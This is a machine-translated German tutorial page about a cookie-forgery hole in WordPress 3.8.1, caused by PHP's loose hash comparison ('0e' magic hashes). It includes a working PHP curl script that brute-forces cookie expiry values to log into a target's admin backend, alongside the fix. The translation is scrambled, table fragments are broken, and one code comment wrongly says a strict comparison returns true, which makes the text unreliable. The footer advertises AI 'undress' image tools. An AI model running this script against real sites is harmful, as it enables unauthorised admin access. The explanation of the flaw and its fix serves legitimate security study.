Heim Backend-Entwicklung PHP-Tutorial Schwache PHP-Typisierung: WordPress-Cookie-Fälschung

Schwache PHP-Typisierung: WordPress-Cookie-Fälschung

Aug 10, 2016 am 08:48 AM
cookie curl hash hmac wordpress

1 PHP schwach typisiert

PHP ist eine schwach typisierte Sprache, sodass Variablen aufgrund unterschiedlicher Verwendungsszenarien automatisch einer Typkonvertierung unterzogen werden . Verwenden Sie == und in PHP! = Bei der Gleichheitsbeurteilung wird die Typkonvertierung automatisch durchgeführt, wobei === und verwendet werden! == Der Typ wird bei der Beurteilung nicht automatisch konvertiert.

<span>1</span> <?<span>php
</span><span>2</span><span>$a</span> = 3<span>;
</span><span>3</span><span>$b</span> = '3vic'<span>;
</span><span>4</span><span>var_dump</span>(<span>$a</span> == <span>$b</span>);<span>//</span><span>true</span><span>5</span><span>var_dump</span>(<span>$a</span> != <span>$b</span>);<span>//</span><span>false</span><span>6</span><span>var_dump</span>(<span>$a</span> === <span>$b</span>);<span>//</span><span>true</span><span>7</span><span>var_dump</span>(<span>$a</span> !== <span>$b</span>);<span>//</span><span>false</span><span>8</span> ?>
Nach dem Login kopieren

Hinweis: Wenn eine Zeichenfolge in PHP in eine Ganzzahl konvertiert wird und diese mit einer Zahl beginnt, wird sie in die vorherige Zahl umgewandelt ('3vic' -> 3 ). Wenn es nicht mit einer Zahl beginnt, wird es in 0 umgewandelt ('vic' -> 0)

2 WordPress-Code

  • WordPress 3.8.1 und WordPress 3.8.2 Einige Codeunterschiede

<span>1</span> <?<span>php
</span><span>2</span><span>//</span><span> WordPress 3.8.1</span><span>3</span><span>if</span> (<span>$hmac</span> != <span>$hash</span><span>) {}
</span><span>4</span><span>//</span><span> WordPress 3.8.2</span><span>5</span><span>if</span> ( hash_hmac('md5', <span>$hmac</span>, <span>$key</span>) !== hash_hmac('md5', <span>$hash</span>, <span>$key</span><span>) )  {}
</span><span>6</span> ?>
Nach dem Login kopieren
  • Cookie besteht aus

Der Client-Hintergrund überprüft nur eines der Cookies, wie unten gezeigt

wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span>1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly
Nach dem Login kopieren

Der Cookie-Name lautet wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 hat das Format wordpress_ md5(siteurl), wobei siteurl ist die URL von WordPress, und die Website-Adresse hier ist <code><span>http://www.test.ichunqiu</span>,http://www.test.ichunqiu<span>c47f4a97d0321c1980bb76fc00d1e78f</span>,Nach der MD5-Verschlüsselung lautet

c47f4a97d0321c1980bb76fc00d1e78f

, andere Teile können weggelassen werden.

对应变量 $username $expiration <span>$hmac</span>
cookies admin 1433403595 cf50f3b50eed94dd0fdc3d3ea2c7bbb
Geben Sie die Ablaufzeit des Benutzernamens ein. Der Hash-Wert, der dem Client vom Server nach erfolgreicher Anmeldung zugewiesen wird
  • Entsprechende Variable
  • td>
    $username

    $expiration $hmac

    <span>1</span> <?<span>php
    </span><span>2</span><span>$key</span> = wp_hash(<span>$username</span> . <span>$pass_frag</span> . '|' . <span>$expiration</span>, <span>$scheme</span><span>);
    </span><span>3</span><span>$hash</span> = hash_hmac('md5', <span>$username</span> . '|' . <span>$expiration</span>, <span>$key</span><span>);
    </span><span>4</span><span>if</span> ( <span>$hmac</span> != <span>$hash</span><span> ) {
    </span><span>5</span>     do_action('auth_cookie_bad_hash', <span>$cookie_elements</span><span>);
    </span><span>6</span><span>return</span><span>false</span><span>;
    </span><span>7</span> }
    Nach dem Login kopieren
    Cookies

    admin

    1433403595 cf50f3b50eed94dd0fdc3d3ea2c7bbb
    $expirationAnalyse-Verifizierungs-Login<span>$expiration </span>$hash Codewp- include/pluggable.php

    Zeilen 543-549
    • Zu den im Code verwendeten Variablen gehört
    $username

    Benutzername, $expiration$hmac == $hash Gültigkeitszeitraum, und da der Benutzername fest ist, ist nur $hmac steuerbar, sodass wir von </span> $ ändern können Ablauf <code><span>$hash</span> Methode zum Ändern $hmac . if ( $hmac != $hash ) { Kombiniert mit PHP Hash <span>var_dump($hmac);die()</span>;VergleichsfehlerWordPress analysieren$hmac Es gibt mehrere Möglichkeiten, string '0' wahre Zeichen zu erstellen Die Zeichenfolgen sind völlig gleich oder int 0

    ist gleich 0 und <p>$hash<div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">&lt;span&gt;1&lt;/span&gt; &lt;?&lt;span&gt;php &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;var_dump&lt;/span&gt;('0' == '0e156464513131');&lt;span&gt;//&lt;/span&gt;&lt;span&gt;true&lt;/span&gt;</pre><div class="contentsignin">Nach dem Login kopieren</div></div> ist eine Zeichenfolge, die mit einem Zeichen beginnt; gesetzt

    <🎜 in Das Cookie des Clients >

    Ändern Sie den Wert auf 0 und schreiben Sie dann <span>var_dump($hmac);die()<code>0e156464513131 ; in die Zeile darüber $hash , um den Ausdruck zu finden. Das Ergebnis von <span>$hmac</span> ist wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0 anstelle von $hash

    . Gibt es also eine Möglichkeit, die Zeichenfolge zu erkennen? als ganze Zahl? Der Code lautet wie folgt:

    Das wird als 0 mal 10 hoch 156464513131 erkannt, was ist immer noch 0; wenn also

    Wenn es mit 0e beginnt und von Zahlen gefolgt wird, ist es gleich dem Wert von

    <span> 1</span> <?<span>php
    </span><span> 2</span><span>/*</span><span> 3</span><span> 4</span><span>本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
    </span><span> 5</span><span>传入两个值
    </span><span> 6</span><span>  WordPress 的主页 $host
    </span><span> 7</span><span>  管理员用户名     $root
    </span><span> 8</span><span>*/</span><span> 9</span><span>header</span>("Content-type:text/html;charset=utf-8"<span>);
    </span><span>10</span><span>11</span><span>$host</span> = 'http://xxx.xxx.xxx';<span>//</span><span>主页地址 结尾不带'/'</span><span>12</span><span>$root</span> = 'user';<span>//</span><span>管理员用户名</span><span>13</span><span>14</span><span>$url</span> = <span>$host</span>.'/wp-admin/';<span>//</span><span>后台管理地址    </span><span>15</span><span>$sitehash</span>=<span>md5</span>(<span>$host</span><span>); 
    </span><span>16</span><span>17</span><span>echo</span> "\nWelcome\n\n"<span>;
    </span><span>18</span><span>//</span><span>通过时间戳暴力破解cookie 实现伪造cookie</span><span>19</span><span>for</span>(<span>$i</span>=1500000000;<span>$i</span><1600000000;<span>$i</span>++<span>){
    </span><span>20</span><span>$cookie</span> = "wordpress_".<span>$sitehash</span>."=".<span>$root</span>."|".<span>$i</span>."|0;";<span>//</span><span>组合构造cookie</span><span>21</span><span>$header</span> = <span>array</span><span>(
    </span><span>22</span>        "Content-Type:application/x-www-form-urlencoded",
    <span>23</span>       'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
    <span>24</span>       "Cookie:".<span>$cookie</span>,
    <span>25</span><span>      );
    </span><span>26</span><span>27</span><span>$curl</span> = curl_init(); <span>//</span><span> 启动一个CURL会话    </span><span>28</span>         curl_setopt(<span>$curl</span>, CURLOPT_URL, <span>$url</span>); <span>//</span><span> 要访问的地址</span><span>29</span>         curl_setopt(<span>$curl</span>, CURLOPT_FOLLOWLOCATION, 1); <span>//</span><span> 使用自动跳转    </span><span>30</span>         curl_setopt(<span>$curl</span>, CURLOPT_AUTOREFERER, 1); <span>//</span><span> 自动设置Referer    </span><span>31</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPGET, <span>true</span>); <span>//</span><span> 发送一个常规的Post请求    </span><span>32</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPHEADER, <span>$header</span>); <span>//</span><span> 读取上面所储存的Cookie信息         </span><span>33</span>         curl_setopt(<span>$curl</span>, CURLOPT_RETURNTRANSFER, 1); <span>//</span><span> 获取的信息以文件流的形式返回 </span><span>34</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, <span>false</span><span>);
    </span><span>35</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, 0<span>);   
    </span><span>36</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);<span>//</span><span>让curl自动选择版本</span><span>37</span><span>$tmpInfo</span> = curl_exec(<span>$curl</span>); <span>//</span><span> 执行操作</span><span>38</span><span>if</span> (curl_errno(<span>$curl</span><span>)) {    
    </span><span>39</span><span>echo</span> 'Errno'.curl_error(<span>$curl</span><span>);    
    </span><span>40</span><span>        }    
    </span><span>41</span>         curl_close(<span>$curl</span>); <span>//</span><span> 关闭CURL会话
    </span><span>42</span><span>43</span><span>        //匹配结果</span><span>44</span><span>if</span>(<span>strstr</span>(<span>$tmpInfo</span>,'我们准备了几个链接供您开始'<span>)){
    </span><span>45</span><span>echo</span>  "\n".'success : '.<span>$cookie</span>."\n\n"<span>;
    </span><span>46</span><span>break</span><span>;
    </span><span>47</span>         }<span>else</span><span>{
    </span><span>48</span><span>echo</span>  'fail : '.<span>$cookie</span>."\n"<span>;
    </span><span>49</span><span>        }
    </span><span>50</span><span>51</span><span>    }
    </span><span>52</span> ?>    
    Nach dem Login kopieren
    $hmac ist '0', also können wir das Cookie des Clients auf etwa diesen Wert setzen

    und dann die Ablaufzeit (derzeit die Position 1433403595) kontinuierlich aktualisieren, um mit dem Server zu kollidieren Sobald der Wert beginnt mit 0e und wird von Zahlen gefolgt, es kann überprüft werden. Unter der Annahme, dass die Kollision erfolgreich ist, ändern Sie das Cookie des Browsers und greifen Sie direkt auf die Backend-Adresse zu, um sich erfolgreich beim Backend anzumelden. 3 Testskript Durch Ändern des Ablaufzeitwerts im Client-Cookie versuchen Sie ständig, sich im Hintergrund anzumelden und herauszufinden Zeit, in der Sie den Hintergrundstempel eingeben können, um ein Cookie-Fälschungs-Login-Backend zu erreichen.

    Erklärung

    :

    Theoretisch beginnt der 32-Bit-MD5-Wert mit 0e Der anfängliche Wert liegt bei etwa eins zu 300 Millionen, und die Wahrscheinlichkeit, einen ausnutzbaren $-Ablauf zu erreichen, ist äußerst gering.

    5 Korrekturen


    In PHP verwendete Hash-Vergleichsfunktion, wobei

    ==

    ,

    ! =

    geändert in

    === bzw. ! == Oder verschlüsseln Sie die beiden verglichenen Variablen erneut mit MD5. Studiennotizen: http://ichunqiu.com/course/167 Das Obige stellt den schwachen PHP-Typ vor: WordPress-Cookie-Fälschung, einschließlich des Inhalts. Ich hoffe, dass es für Freunde hilfreich ist, die sich für PHP-Tutorials interessieren.
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

So stellen Sie die WordPress -Artikelliste an So stellen Sie die WordPress -Artikelliste an Apr 20, 2025 am 10:48 AM

Es gibt vier Möglichkeiten, die WordPress -Artikelliste anzupassen: Verwenden Sie Themenoptionen, verwenden Plugins (z. B. die Bestellung von Post -Typen, WP -Postliste, Boxy -Sachen), Code (Einstellungen in der Datei functions.php hinzufügen) oder die WordPress -Datenbank direkt ändern.

Was sind die Plugins für WordPress blockieren IP? Was sind die Plugins für WordPress blockieren IP? Apr 20, 2025 am 08:27 AM

WordPress IP -Blocking -Plugin -Auswahl ist entscheidend. Die folgenden Typen können berücksichtigt werden: basierend auf .htaccess: effizienter, aber komplexer Betrieb; Datenbankbetrieb: Flexible, aber geringe Effizienz; Firewall: hohe Sicherheitsleistung, aber komplexe Konfiguration; Selbstgeschrieben: höchste Kontrolle, erfordert aber mehr technisches Niveau.

WordPress -Website -Konto Anmeldung WordPress -Website -Konto Anmeldung Apr 20, 2025 am 09:06 AM

So melden Sie sich bei einem WordPress-Website-Konto an: Besuchen Sie die Anmeldeseite: Geben Sie die Website von URL Plus "/wp-login.php" ein. Geben Sie Ihren Benutzernamen und Ihr Passwort ein. Klicken Sie auf "Login". Überprüfung der Überprüfung zweistufiger Verifizierung (optional). Nachdem Sie sich erfolgreich angemeldet haben, sehen Sie das Dashboard der Website.

Wie man einen Kopfball eines WordPress schreibt Wie man einen Kopfball eines WordPress schreibt Apr 20, 2025 pm 12:09 PM

Die Schritte zum Erstellen eines benutzerdefinierten Headers in WordPress sind wie folgt: Bearbeiten Sie die Themendatei "Header.php". Fügen Sie Ihren Website -Namen und Ihre Beschreibung hinzu. Erstellen Sie ein Navigationsmenü. Fügen Sie eine Suchleiste hinzu. Speichern Sie Änderungen und sehen Sie sich Ihren benutzerdefinierten Header an.

Was tun, wenn ein Fehler in WordPress vorhanden ist Was tun, wenn ein Fehler in WordPress vorhanden ist Apr 20, 2025 am 11:57 AM

WordPress-Fehlerlösungshandbuch: 500 Interner Serverfehler: Deaktivieren Sie das Plug-In oder überprüfen Sie das Serverfehlerprotokoll. 404 Seite nicht gefunden: Permalink überprüfen und sicherstellen, dass der Seitenlink korrekt ist. Weißer Todesbildschirm: Erhöhen Sie das Server -PHP -Speichergrenze. Datenbankverbindungsfehler: Überprüfen Sie den Datenbankserverstatus und die WordPress -Konfiguration. Weitere Tipps: Aktivieren Sie den Debug -Modus, überprüfen Sie Fehlerprotokolle und suchen Sie Unterstützung. Fehler verhindern: Aktualisieren Sie regelmäßig WordPress, installieren Sie nur die erforderlichen Plugins, sichern Sie regelmäßig Ihre Website und optimieren Sie die Leistung der Website.

So ändern Sie das Kopfbild des WordPress -Themas So ändern Sie das Kopfbild des WordPress -Themas Apr 20, 2025 am 10:00 AM

Eine Schritt-für-Schritt-Anleitung zum Ersetzen eines Headerbildes von WordPress: Melden Sie sich beim WordPress-Dashboard an und navigieren Sie zum Aussehen & GT; Thema. Wählen Sie das Thema aus, das Sie bearbeiten möchten, und klicken Sie auf Anpassen. Öffnen Sie das Panel der Themenoptionen und suchen Sie nach den Optionen für die Website -Header- oder Header -Bild -Bildung. Klicken Sie auf die Schaltfläche Bild und laden Sie ein neues Kopfbild hoch. Erstellen Sie das Bild und klicken Sie auf Speichern und Ernte. Klicken Sie auf die Schaltfläche Speichern und veröffentlichen, um die Änderungen zu aktualisieren.

So zeigen Sie WordPress -Kommentare an So zeigen Sie WordPress -Kommentare an Apr 20, 2025 pm 12:06 PM

Aktivieren Sie Kommentare in der WordPress -Website: 1. Melden Sie sich im Administratorbereich an, wenden Sie sich zu "Einstellungen" - "Diskussionen" und überprüfen Sie "Kommentare zulassen". 2. Wählen Sie einen Ort aus, um Kommentare anzuzeigen. 3.. Anpassen Kommentare; V. 5. verwenden & lt;? Php commenter_template (); ? & gt; Tags zum Anzeigen von Kommentaren; 6. Verschachtelte Kommentare aktivieren; 7. Kommentarform einstellen; 8. Verwenden Sie Plugins und Verifizierungscodes, um Spam -Kommentare zu verhindern. 9. Ermutigen Sie Benutzer, Gravatar Avatar zu verwenden; 10. Erstellen Sie Kommentare, auf die Sie sich beziehen können

So stornieren Sie das Bearbeitungsdatum von WordPress So stornieren Sie das Bearbeitungsdatum von WordPress Apr 20, 2025 am 10:54 AM

WordPress-Bearbeitungsdaten können auf drei Arten storniert werden: 1. Installieren Sie das Postdatum-Deaktivierungs-Plug-In; 2. Fügen Sie den Code in die Datei functions.php hinzu; 3. Bearbeiten Sie die post_modified -Spalte manuell in der Tabelle WP_POSTS.

See all articles